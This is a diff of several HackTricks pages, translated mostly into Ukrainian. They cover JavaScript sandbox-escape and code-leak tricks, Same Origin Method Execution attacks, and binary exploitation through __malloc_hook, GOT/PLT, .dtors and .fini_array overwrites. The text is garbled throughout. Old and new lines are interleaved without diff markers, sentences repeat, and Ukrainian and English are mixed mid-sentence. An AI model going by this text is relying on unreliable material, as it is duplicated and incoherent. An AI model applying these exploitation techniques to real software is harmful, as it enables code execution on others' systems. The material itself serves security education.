Інструмент **Hackability inspector** від Portswigger допомагає **аналізувати** **атрибути** об'єкта JavaScript. Перевірте: [https://portswigger-labs.net/hackability/inspector/?input=x.contentWindow\&html=%3Ciframe%20src=//subdomain1.portswigger-labs.net%20id=x%3E](https://portswigger-labs.net/hackability/inspector/?input=x.contentWindow\&html=%3Ciframe%20src=//subdomain1.portswigger-labs.net%20id=x%3E)
The tool **Hackability inspector** from Portswigger helps to **analyze** the **атрибути** of a javascript object. Check: [https://portswigger-labs.net/hackability/inspector/?input=x.contentWindow\&html=%3Ciframe%20src=//subdomain1.portswigger-labs.net%20id=x%3E](https://portswigger-labs.net/hackability/inspector/?input=x.contentWindow\&html=%3Ciframe%20src=//subdomain1.portswigger-labs.net%20id=x%3E)
## **.map js файли**
* Хитрість для завантаження .map js файлів: [https://medium.com/@bitthebyte/javascript-for-bug-bounty-hunters-part-2-f82164917e7](https://medium.com/@bitthebyte/javascript-for-bug-bounty-hunters-part-2-f82164917e7)
* Ви можете використовувати цей інструмент для аналізу цих файлів [https://github.com/paazmaya/shuji](https://github.com/paazmaya/shuji)
* Trick to download .map js files: [https://medium.com/@bitthebyte/javascript-for-bug-bounty-hunters-part-2-f82164917e7](https://medium.com/@bitthebyte/javascript-for-bug-bounty-hunters-part-2-f82164917e7)
* You can use this tool to analyze these files [https://github.com/paazmaya/shuji](https://github.com/paazmaya/shuji)
## "--" Присвоювання
## "--" Присвоєння
Оператор декремента `--` також є операцією присвоювання. Цей оператор бере значення і зменшує його на одиницю. Якщо це значення не є числом, воно буде встановлено ​​на `NaN`. Це можна використовувати для **видалення вмісту змінних з оточення**.
The decrement operator `--` is also an присвоєння. This operator takes a value and then decrements it by one. If that value is not a number, it will be set to `NaN`. This can be used to **remove the content of variables from the environment**.
![](<../../.gitbook/assets/image (553).png>)
![](<../../.gitbook/assets/image (993).png>)
![](<../../.gitbook/assets/image (554).png>)
![](<../../.gitbook/assets/image (329).png>)
## Хитрощі функцій
## Функції Трюки
### .call та .apply
### .call and .apply
Метод **`.call`** функції використовується для **виконання функції**.\
**Перший аргумент**, який він очікує за замовчуванням, - це **значення `this`**, і якщо **нічого** не надано, **`window`** буде цим значенням (якщо не використовується **`strict mode`**).
The **`.call`** method of a function is used to **run the function**.\
The **first argument** it expects by default is the **value of `this`** and if **nothing** is provided, **`window`** will be that value (unless **`strict mode`** is used).
```javascript
function test_call(){
console.log(this.value); //baz
@ -257,7 +255,7 @@ test_apply.apply(null, ["arg1", "arg2"])
```
### Стрілкові функції
Стрілкові функції дозволяють вам генерувати функції в одному рядку легше (якщо ви їх розумієте)
Стрілкові функції дозволяють вам генерувати функції в один рядок простіше (якщо ви їх розумієте)
```javascript
// Traditional
function (a){ return a + 1; }
@ -280,7 +278,7 @@ let a = 4;
let b = 2;
() => a + b + 1;
```
Таким чином, більшість попередніх функцій насправді некорисні, оскільки ми не зберігаємо їх ніде, щоб потім викликати. Наприклад, створення функції `plusone`:
Отже, більшість попередніх функцій насправді марні, оскільки ми не зберігаємо їх ніде, щоб зберегти та викликати їх. Приклад створення функції `plusone`:
```javascript
// Traductional
function plusone (a){ return a + 1; }
@ -288,9 +286,9 @@ function plusone (a){ return a + 1; }
//Arrow
plusone = a => a + 100;
```
### Bind функція
### Bind function
Функція bind дозволяє створити **копію** функції, змінюючи об'єкт **`this`** та задані **параметри**.
Функція bind дозволяє створити **копію** **функції, модифікуючи** **об'єкт `this`** та **параметри**, що передаються.
```javascript
//This will use the this object and print "Hello World"
var fn = function ( param1, param2 ) {
@ -315,12 +313,12 @@ var bindFn_this = fn.bind(this, "fixingparam1");
bindFn_change('Hello', 'World')
```
{% hint style="info" %}
Зверніть увагу, що використовуючи **`bind`**, ви можете маніпулювати об'єктом **`this`**, який буде використовуватися при виклику функції.
Зверніть увагу, що використовуючи **`bind`**, ви можете маніпулювати об'єктом **`this`**, який буде використовуватися під час виклику функції.
{% endhint %}
### Витік коду функції
Якщо ви можете **отримати доступ до об'єкта** функції, ви можете **отримати код** цієї функції
Якщо ви можете **отримати доступ до об'єкта** функції, ви можете **отримати код** цієї функції.
```javascript
function afunc(){
return 1+1;
@ -330,12 +328,12 @@ console.log(String(afunc)); //This will print the code of the function
console.log(this.afunc.toString()); //This will print the code of the function
console.log(global.afunc.toString()); //This will print the code of the function
```
У випадках, коли **функція не має назви**, ви все ще можете вивести **код функції** всередині:
У випадках, коли **функція не має жодного імені**, ви все ще можете вивести **код функції** зсередини:
```javascript
(function (){ return arguments.callee.toString(); })()
(function (){ return arguments[0]; })("arg0")
```
Деякі **випадкові** способи **витягнути код** функції (навіть коментарі) з іншої функції:
Деякі **випадкові** способи **витягти код** функції (навіть коментарі) з іншої функції:
```javascript
(function (){ return retFunc => String(arguments[0]) })(a=>{/* Hidden commment */})()
(function (){ return retFunc => Array(arguments[0].toString()) })(a=>{/* Hidden commment */})()
@ -343,7 +341,7 @@ console.log(global.afunc.toString()); //This will print the code of the function
(u=>(String(u)))(_=>{ /* Hidden commment */ })
(u=>_=>(String(u)))(_=>{ /* Hidden commment */ })()
```
## Втеча з пісочниці - Відновлення об'єкта вікна
## Sandbox Escape - Відновлення об'єкта window
Об'єкт Window дозволяє отримати доступ до глобально визначених функцій, таких як alert або eval.
@ -430,7 +428,7 @@ origValue = val;
debugAccess(Object.prototype, 'ppmap')
```
## Автоматичний доступ браузера для тестування вразливостей
## Автоматичний доступ до браузера для тестування корисних навантажень
```javascript
//Taken from https://github.com/svennergr/writeups/blob/master/inti/0621/README.md
const puppeteer = require("puppeteer");
@ -470,14 +468,17 @@ await sleep(1000);
await browser.close();
})();
```
{% hint style="success" %}
Вивчайте та практикуйте AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Вивчайте та практикуйте GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Підтримайте HackTricks</summary>
* Чи працюєте ви в **кібербезпеці компанії**? Хочете, щоб ваша **компанія рекламувалася на HackTricks**? або хочете мати доступ до **останньої версії PEASS або завантажити HackTricks у форматі PDF**? Перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
* **Приєднуйтесь до** [**💬**](https://emojipedia.org/speech-balloon/) [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за мною на **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**репозиторію hacktricks**](https://github.com/carlospolop/hacktricks) **та** [**репозиторію hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на github.
</details>
{% endhint %}

View file

@ -1,51 +1,83 @@
# ВИКОНАННЯ МЕТОДУ З ТІЄЮ САМОГО ПОХОДЖЕННЯ
# SOME - Same Origin Method Execution
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
* Ви працюєте в **кібербезпеці компанії**? Хочете побачити **рекламу вашої компанії на HackTricks**? або хочете мати доступ до **останньої версії PEASS або завантажити HackTricks у форматі PDF**? Перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
* **Приєднуйтесь до** [**💬**](https://emojipedia.org/speech-balloon/) [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за мною на **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**репозиторію hacktricks**](https://github.com/carlospolop/hacktricks) **та** [**репозиторію hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Виконання методу з тією самого походження
### [WhiteIntel](https://whiteintel.io)
Іноді ви зможете виконати обмежений JavaScript на сторінці. Наприклад, у випадку, коли ви можете [**контролювати значення зворотного виклику, яке буде виконано**](./#javascript-function).
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
У таких випадках одним з найкращих рішень, яке ви можете зробити, є **доступ до DOM для виклику будь-якої** чутливої дії, яку ви можете знайти там (наприклад, натискання кнопки). Однак, зазвичай ви знайдете цю вразливість в **невеликих кінцевих точках без цікавих речей в DOM**.
[**WhiteIntel**](https://whiteintel.io) - це **пошукова система**, що працює на основі **темного вебу**, яка пропонує **безкоштовні** функції для перевірки, чи була **компанія** або її **клієнти** **скомпрометовані** **шкідливими програмами**.
У таких сценаріях цей атака буде дуже корисною, оскільки її мета - **зловживання обмеженим виконанням JS всередині DOM з іншої сторінки з тієї самої доменної зони** з багатьма цікавими діями.
Основна мета WhiteIntel - боротися з захопленням облікових записів та атаками програм-вимагачів, що виникають внаслідок шкідливих програм, що крадуть інформацію.
Основний хід атаки виглядає наступним чином:
Ви можете перевірити їхній вебсайт і спробувати їхній двигун **безкоштовно** за адресою:
* Знайдіть **зворотний виклик, який ви можете зловживати** (потенційно обмежений до \[\w\\.\_]).
* Якщо він не обмежений і ви можете виконати будь-який JS, ви можете просто зловживати цим як звичайним XSS
* Зробіть так, щоб **жертва відкрила сторінку**, керовану **зловмисником**
* **Сторінка відкриється сама** в **іншому вікні** (нове вікно матиме об'єкт **`opener`**, який посилається на початковий)
{% embed url="https://whiteintel.io" %}
***
## Same Origin Method Execution
Існують випадки, коли ви можете виконати обмежений javascript на сторінці. Наприклад, у випадку, коли ви можете [**контролювати значення зворотного виклику, яке буде виконано**](./#javascript-function).
У таких випадках одне з найкращих, що ви можете зробити, - це **доступитися до DOM, щоб викликати будь-яку** чутливу дію, яку ви можете знайти там (наприклад, натиснути кнопку). Однак зазвичай ви знайдете цю вразливість у **малих кінцевих точках без будь-яких цікавих речей у DOM**.
У таких сценаріях ця атака буде дуже корисною, оскільки її мета - мати можливість **зловживати обмеженим виконанням JS всередині DOM з іншої сторінки з того ж домену** з набагато цікавими діями.
В основному, потік атаки виглядає наступним чином:
* Знайти **зворотний виклик, яким ви можете зловживати** (потенційно обмежений до \[\w\\.\_]).
* Якщо він не обмежений і ви можете виконати будь-який JS, ви можете просто зловживати цим як звичайним XSS.
* Змусити **жертву відкрити сторінку**, контрольовану **зловмисником**.
* **Сторінка відкриється сама** в **іншому вікні** (нове вікно матиме об'єкт **`opener`**, що посилається на початкове).
* **Початкова сторінка** завантажить **сторінку**, де знаходиться **цікавий DOM**.
* **Друга сторінка** завантажить **вразливу сторінку, зловживаючи зворотнім викликом** та використовуючи об'єкт **`opener`**, щоб **отримати доступ та виконати дію на початковій сторінці** (яка тепер містить цікавий DOM).
* **Друга сторінка** завантажить **вразливу сторінку, зловживаючи зворотним викликом** і використовуючи об'єкт **`opener`**, щоб **доступитися та виконати деяку дію на початковій сторінці** (яка тепер містить цікавий DOM).
{% hint style="danger" %}
Зверніть увагу, що навіть якщо початкова сторінка отримує доступ до нового URL після створення другої сторінки, **об'єкт `opener` другої сторінки все ще є дійсним посиланням на першу сторінку в новому DOM**.
Крім того, для того, щоб друга сторінка могла використовувати об'єкт opener, **обидві сторінки повинні бути в тій самій доменній зоні**. Це причина того, чому для зловживання цією вразливістю вам потрібно знайти якийсь **XSS в тій самій доменній зоні**.
Більше того, для того щоб друга сторінка могла використовувати об'єкт opener, **обидві сторінки повинні бути в одному походженні**. Це причина, чому, щоб зловживати цією вразливістю, вам потрібно знайти якийсь вид **XSS в одному походженні**.
{% endhint %}
### Експлуатація
### Exploitation
* Ви можете використовувати цю форму для **створення PoC** для експлуатації цього типу вразливості: [https://www.someattack.com/Playground/SOMEGenerator](https://www.someattack.com/Playground/SOMEGenerator)
* Щоб знайти шлях до DOM до елемента HTML з кліком, ви можете використовувати це розширення браузера: [https://www.someattack.com/Playground/targeting\_tool](https://www.someattack.com/Playground/targeting\_tool)
* Ви можете використовувати цю форму для **генерації PoC** для експлуатації цього типу вразливості: [https://www.someattack.com/Playground/SOMEGenerator](https://www.someattack.com/Playground/SOMEGenerator)
* Щоб знайти шлях DOM до HTML-елемента з кліком, ви можете використовувати це розширення для браузера: [https://www.someattack.com/Playground/targeting\_tool](https://www.someattack.com/Playground/targeting\_tool)
### Приклад
### Example
* Ви можете знайти вразливий приклад за посиланням [https://www.someattack.com/Playground/](https://www.someattack.com/Playground/)
* Зверніть увагу, що в цьому прикладі сервер **генерує код JavaScript** та **додає** його до HTML на основі **вмісту параметра зворотнього виклику:** `<script>opener.{callbacl_content}</script>` . Тому в цьому прикладі вам не потрібно явно вказувати використання `opener`.
* Також перевірте цей опис CTF: [https://ctftime.org/writeup/36068](https://ctftime.org/writeup/36068)
* Ви можете знайти вразливий приклад на [https://www.someattack.com/Playground/](https://www.someattack.com/Playground/)
* Зверніть увагу, що в цьому прикладі сервер **генерує javascript-код** і **додає** його до HTML на основі **вмісту параметра зворотного виклику:** `<script>opener.{callbacl_content}</script>`. Ось чому в цьому прикладі вам не потрібно явно вказувати використання `opener`.
* Також перевірте цей CTF writeup: [https://ctftime.org/writeup/36068](https://ctftime.org/writeup/36068)
## Посилання
## References
* [https://conference.hitb.org/hitbsecconf2017ams/sessions/everybody-wants-some-advance-same-origin-method-execution/](https://conference.hitb.org/hitbsecconf2017ams/sessions/everybody-wants-some-advance-same-origin-method-execution/)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -0,0 +1,52 @@
# AW2Exec - \_\_malloc\_hook
{% hint style="success" %}
Вивчайте та практикуйте AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Вивчайте та практикуйте GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Підтримайте HackTricks</summary>
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на GitHub.
</details>
{% endhint %}
## **Malloc Hook**
Як ви можете побачити на [Офіційному сайті GNU](https://www.gnu.org/software/libc/manual/html_node/Hooks-for-Malloc.html), змінна **`__malloc_hook`** є вказівником, що вказує на **адресу функції, яка буде викликана** щоразу, коли викликається `malloc()`, **збережена в секції даних бібліотеки libc**. Тому, якщо ця адреса буде перезаписана, наприклад, **One Gadget**, і буде викликано `malloc`, **буде викликано One Gadget**.
Щоб викликати malloc, можна дочекатися, поки програма викличе його, або **викликавши `printf("%10000$c")`**, що виділяє занадто багато байтів, змушуючи `libc` викликати malloc для їх виділення в купі.
Більше інформації про One Gadget у:
{% content-ref url="../one-gadget.md" %}
[one-gadget.md](../one-gadget.md)
{% endcontent-ref %}
{% hint style="danger" %}
Зверніть увагу, що хуки **вимкнені для GLIBC >= 2.34**. Є інші техніки, які можна використовувати в сучасних версіях GLIBC. Дивіться [https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md).
{% endhint %}
## Посилання
* [https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook](https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook)
* [https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md)
{% hint style="success" %}
Вивчайте та практикуйте AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Вивчайте та практикуйте GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Підтримайте HackTricks</summary>
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на GitHub.
</details>
{% endhint %}

View file

@ -0,0 +1,90 @@
# AW2Exec - GOT/PLT
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## **Основна інформація**
### **GOT: Глобальна таблиця зсувів**
**Глобальна таблиця зсувів (GOT)** - це механізм, що використовується в динамічно зв'язаних бінарних файлах для управління **адресами зовнішніх функцій**. Оскільки ці **адреси не відомі до часу виконання** (через динамічне зв'язування), GOT забезпечує спосіб **динамічно оновлювати адреси цих зовнішніх символів** після їх розв'язання.
Кожен запис у GOT відповідає символу у зовнішніх бібліотеках, які може викликати бінарний файл. Коли **функція викликається вперше, її фактична адреса розв'язується динамічним зв'язувачем і зберігається в GOT**. Наступні виклики тієї ж функції використовують адресу, збережену в GOT, таким чином уникаючи накладних витрат на повторне розв'язання адреси.
### **PLT: Таблиця зв'язування процедур**
**Таблиця зв'язування процедур (PLT)** тісно співпрацює з GOT і служить як трамплін для обробки викликів зовнішніх функцій. Коли бінарний файл **викликає зовнішню функцію вперше, управління передається до запису в PLT, пов'язаного з цією функцією**. Цей запис PLT відповідає за виклик динамічного зв'язувача для розв'язання адреси функції, якщо вона ще не була розв'язана. Після розв'язання адреси вона зберігається в GOT.
**Отже,** записи GOT використовуються безпосередньо після розв'язання адреси зовнішньої функції або змінної. **Записи PLT використовуються для полегшення початкового розв'язання** цих адрес через динамічний зв'язувач.
## Отримати виконання
### Перевірте GOT
Отримайте адресу таблиці GOT за допомогою: **`objdump -s -j .got ./exec`**
![](<../../../.gitbook/assets/image (619).png>)
Спостерігайте, як після **завантаження** **виконуваного файлу** в GEF ви можете **бачити** **функції**, які є в **GOT**: `gef➤ x/20x 0xADDR_GOT`
![](<../../../.gitbook/assets/image (620) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (5).png>)
Використовуючи GEF, ви можете **почати** сесію **відлагодження** і виконати **`got`**, щоб побачити таблицю got:
![](<../../../.gitbook/assets/image (621).png>)
### GOT2Exec
У бінарному файлі GOT має **адреси до функцій або** до **сектора PLT**, який завантажить адресу функції. Мета цього довільного запису - **перезаписати запис GOT** функції, яка буде виконана пізніше **адресою** PLT **функції** **`system`**, наприклад.
Ідеально, ви будете **перезаписувати** **GOT** функції, яка **буде викликана з параметрами, контрольованими вами** (так що ви зможете контролювати параметри, надіслані до функції system).
Якщо **`system`** **не використовується** скриптом, функція system **не матиме** запису в PLT. У цьому сценарії вам **потрібно спочатку витягнути адресу** функції `system`, а потім перезаписати GOT, щоб вказати на цю адресу.
Ви можете побачити адреси PLT за допомогою **`objdump -j .plt -d ./vuln_binary`**
## **Один гаджет**
{% content-ref url="../one-gadget.md" %}
[one-gadget.md](../one-gadget.md)
{% endcontent-ref %}
## **Захисти**
Захист **Full RELRO** призначена для захисту від такого роду технік, розв'язуючи всі адреси функцій, коли бінарний файл запускається, і роблячи **таблицю GOT тільки для читання** після цього:
{% content-ref url="../common-binary-protections-and-bypasses/relro.md" %}
[relro.md](../common-binary-protections-and-bypasses/relro.md)
{% endcontent-ref %}
## Посилання
* [https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite](https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite)
* [https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook](https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -0,0 +1,70 @@
# AWS2Exec - .dtors & .fini\_array
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## .dtors
{% hint style="danger" %}
Сьогодні дуже **незвично знайти бінарний файл з секцією .dtors**.
{% endhint %}
Деструктори - це функції, які **виконуються перед завершенням програми** (після повернення функції `main`).\
Адреси цих функцій зберігаються в **`.dtors`** секції бінарного файлу, і тому, якщо вам вдасться **записати** **адресу** в **shellcode** в **`__DTOR_END__`**, вона буде **виконана** перед завершенням програми.
Отримайте адресу цієї секції за допомогою:
```bash
objdump -s -j .dtors /exec
rabin -s /exec | grep “__DTOR”
```
Зазвичай ви знайдете маркери **DTOR** **між** значеннями `ffffffff` та `00000000`. Тож, якщо ви просто бачите ці значення, це означає, що **функція не зареєстрована**. Тож **перезапишіть** **`00000000`** адресою до **shellcode**, щоб виконати його.
{% hint style="warning" %}
Звичайно, спочатку вам потрібно знайти **місце для зберігання shellcode**, щоб пізніше викликати його.
{% endhint %}
## **.fini\_array**
По суті, це структура з **функціями, які будуть викликані** перед завершенням програми, як **`.dtors`**. Це цікаво, якщо ви можете викликати свій **shellcode, просто стрибнувши на адресу**, або в випадках, коли вам потрібно знову **повернутися до `main`**, щоб **використати вразливість вдруге**.
```bash
objdump -s -j .fini_array ./greeting
./greeting: file format elf32-i386
Contents of section .fini_array:
8049934 a0850408
#Put your address in 0x8049934
```
Зверніть увагу, що це **не створить** **вічний цикл**, оскільки, коли ви повернетеся до main, канарка помітить, що кінець стеку може бути пошкоджений, і функція не буде викликана знову. Таким чином, ви зможете **мати ще 1 виконання** вразливості.
{% hint style="danger" %}
Зверніть увагу, що з [Full RELRO](../common-binary-protections-and-bypasses/relro.md) секція `.fini_array` стає **тільки для читання**.
{% endhint %}
{% hint style="success" %}
Вивчайте та практикуйте AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Вивчайте та практикуйте GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Підтримайте HackTricks</summary>
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
